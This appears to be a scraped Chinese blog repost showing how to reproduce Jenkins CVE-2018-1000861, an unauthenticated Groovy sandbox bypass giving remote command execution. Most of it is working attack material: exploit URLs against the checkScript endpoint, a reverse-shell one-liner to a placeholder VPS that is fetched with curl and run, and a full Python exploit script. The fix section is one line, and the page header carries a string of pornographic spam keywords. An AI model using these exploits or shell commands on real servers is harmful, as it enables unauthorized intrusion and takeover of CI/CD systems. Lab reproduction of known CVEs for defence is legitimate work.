日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

jenkins 命令执行 (CVE-2018-1000861)复现

發布時間:2023/12/20 编程问答 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 jenkins 命令执行 (CVE-2018-1000861)复现 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

所有文章,僅供安全研究與學習之用,后果自負!

jenkins 命令執行 (CVE-2018-1000861)

  • jenkins 命令執行 (CVE-2018-1000861)
    • 0x01 漏洞描述
    • 0x02 影響范圍
    • 0x03 漏洞復現
      • 手工測試
      • 腳本利用
    • 0x04 漏洞修復

jenkins 命令執行 (CVE-2018-1000861)

0x01 漏洞描述

Jenkins 可以通過其網頁界面輕松設置和配置,其中包括即時錯誤檢查和內置幫助。 插件 通過更新中心中的 1000 多個插件,Jenkins 集成了持續集成和持續交付工具鏈中幾乎所有的工具。 Jenkins 是常見的CI/CD服務器, 最常見的就是爆破弱口令然后使用groovy執行命令

Jenkins使用Stapler框架開發,其允許用戶通過URL
PATH來調用一次public方法。由于這個過程沒有做限制,攻擊者可以構造一些特殊的PATH來執行一些敏感的Java方法。

通過這個漏洞,我們可以找到很多可供利用的利用鏈。其中最嚴重的就是繞過Groovy沙盒導致未授權用戶可執行任意命令:Jenkins在沙盒中執行Groovy前會先檢查腳本是否有錯誤,檢查操作是沒有沙盒的,攻擊者可以通過Meta-Programming的方式,在檢查這個步驟時執行任意命令。

0x02 影響范圍

Jenkins 2.153及更早版本,LTS 2.138.3及更早版本

app=“Jenkins”

0x03 漏洞復現

靶場 docker啟動 靶場環境

手工測試

命令執行poc

http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"touch /tmp/CVE-2018-1000861_is_success".execute()}}

(1) 創建文件

http://ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"touch /tmp/CVE-2018-1000861_is_success".execute()}}


進入 docker 容器查看


創建成功

(2)反彈shell

直接使用bash命令失敗

需要vps 啟動http服務

python3 -m http.server 8888

放置 cmd.txt
內容如下

bash -i >& /dev/tcp/VPSip地址/9897 0>&1

替換要執行的命令為

curl -o /tmp/1.sh http://VPSip:8888/cmd.txt
bash /tmp/1.sh

瀏覽器訪問依次執行

http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl -o /tmp/1.sh http://VPSip:8888/cmd.txt".execute()}}http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash /tmp/1.sh".execute()}}

反彈shell成功

腳本利用

腳本代碼在最下方

python2 使用

用法

python2 exp.py http://靶機ip:8080/ “touch /tmp/123.txt”

反彈shell 同上 下載 腳本 在執行即可 就不截圖啦

0x04 漏洞修復

升級至最新版本

腳本

#!/usr/bin/python # coding: UTF-8 # author: Orange Tsai(@orange_8361) # import sys import requests from enum import Enum# remove bad SSL warnings try:requests.packages.urllib3.disable_warnings() except:passendpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'class mode(Enum):ACL_PATCHED = 0NOT_JENKINS = 1READ_ENABLE = 2READ_BYPASS = 3ENTRY_NOTFOUND = 999def usage():print ('''Usage:python exp.py <url> <cmd>''')def _log(msg, fail=False):nb = '[*]'if fail:nb = '[-]'print ('%s %s' % (nb, msg))def _get(url, params=None):r = requests.get(url, verify=False, params=params)return r.status_code, r.contentdef _add_bypass(url):return url + 'securityRealm/user/admin/'def check(url):flag, accessible = mode.ACL_PATCHED, False# check ANONYMOUS_READstatus, content = _get(url)if status == 200 and 'adjuncts' in content:flag, accessible = mode.READ_ENABLE, True_log('ANONYMOUS_READ enable!')elif status == 403:_log('ANONYMOUS_READ disable!')# check ACL bypass, CVE-2018-1000861status, content = _get(_add_bypass(url))if status == 200 and 'adjuncts' in content:flag, accessible = mode.READ_BYPASS, Trueelse:flag = mode.NOT_JENKINS# check entry point, CVE-2019-1003005if accessible:if flag is mode.READ_BYPASS:url = _add_bypass(url)status, content = _get(url + endpoint)if status == 404:flag = mode.ENTRY_NOTFOUNDreturn flagdef exploit(url, cmd):payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('hex')params = {'sandbox': True, 'value': payload}status, content = _get(url + endpoint, params)if status == 200:_log('Exploit success!(it should be :P)')elif status == 405:_log('It seems Jenkins has patched the RCE gadget :(')else:_log('Exploit fail with HTTP status [%d]' % status, fail=True)if 'stack trace' in content:for _ in content.splitlines():if _.startswith('Caused:'):_log(_, fail=True)if __name__ == '__main__':if len(sys.argv) != 3:usage()exit()url = sys.argv[1].rstrip('/') + '/'cmd = sys.argv[2]flag = check(url)if flag is mode.ACL_PATCHED:_log('It seems Jenkins is up-to-date(>2.137) :(', fail=True)elif flag is mode.NOT_JENKINS:_log('Is this Jenkins?', fail=True)elif flag is mode.READ_ENABLE:exploit(url, cmd)elif flag is mode.READ_BYPASS:_log('Bypass with CVE-2018-1000861!')exploit(_add_bypass(url), cmd)else:_log('The `checkScript` is not found, please try other entries(see refs)', fail=True)

總結

以上是生活随笔為你收集整理的jenkins 命令执行 (CVE-2018-1000861)复现的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。